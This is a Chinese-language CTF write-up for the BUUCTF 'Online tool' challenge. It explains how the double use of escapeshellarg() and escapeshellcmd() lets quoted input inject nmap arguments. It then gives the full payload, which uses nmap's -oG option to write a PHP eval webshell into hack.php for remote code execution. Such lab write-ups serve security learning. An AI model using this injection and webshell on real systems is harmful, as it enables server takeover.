buuctf Online tool

考点

• escapeshellarg()和escapeshellcmd()过滤函数的绕过
• Linuxnamp命令的使用

代码分析

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

无关紧要的一组代码

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

mkdir：创建一个文件夹。chdir：切换到这个文件夹然后执行namp命令

重点在else部分怎么用。因为escapeshellarg()和escapeshellcmd()的出现会造成漏洞。谈谈escapeshellarg参数绕过和注入的问题
对于单个单引号, escapeshellarg 函数转义后,还会在左右各加一个单引号,但 escapeshellcmd 函数是直接加一个转义符，对于成对的单引号, escapeshellcmd 函数默认不转义,但 escapeshellarg 函数转义:
举个例子：

传入的参数是：172.17.0.2’ -v -d a=1
1.经过escapeshellarg处理后变成了’172.17.0.2’’’ -v -d a=1’，即先对单引号转义，再用单引号将左右两部分括起来从而起到连接的作用。

2.经过escapeshellcmd处理后变成’172.17.0.2’\’’ -v -d a=1’，这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义：http://php.net/manual/zh/function.escapeshellcmd.php

3.最后执行的命令是curl ‘172.17.0.2’\’’ -v -d a=1’，由于中间的\被解释为\而不再是转义字符，所以后面的’没有被转义，与再后面的’配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1’，即向172.17.0.2\发起请求，POST 数据为a=1’。

查找资料发现在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件；这个命令就是我们的输入可控！然后写入到文件！OK很自然的想到了上传一个一句话木马了…

• ?host=' <?php eval(phpinfo());?> -oG hack.php '在经过escapeshellarg()和escapeshellcmd()函数后会变成。

  ''\''<?php phpinfo();?> -oG hack.php'\'''以及

  ''\\''\<\?php phpinfo\(\)\;\?\> -oG hack.php'\\'''。我们发现想要的构造linux语句都在，都没有没过滤注释

• 如果我们传入?host=<?php eval(phpinfo());?> -oG hack.php经过escapeshellarg()和escapeshellcmd()函数后会变成。

  '<?php eval(phpinfo());?> -oG hack.php'以及

  '\<\?php eval\(phpinfo\(\)\)\;\?\> -oG hack.php'结果是完全内容被过滤。因此需要俩边添加单引号来绕过。
  构造好一句话木马 ’ <?php @eval($_POST["cmd"]); ?> -oG hack.php ’
  之后在MD5加密后的文件夹下找hack.php就可以执行RCE。拿到flag。

参考：BUUCTF 2018 Online Tool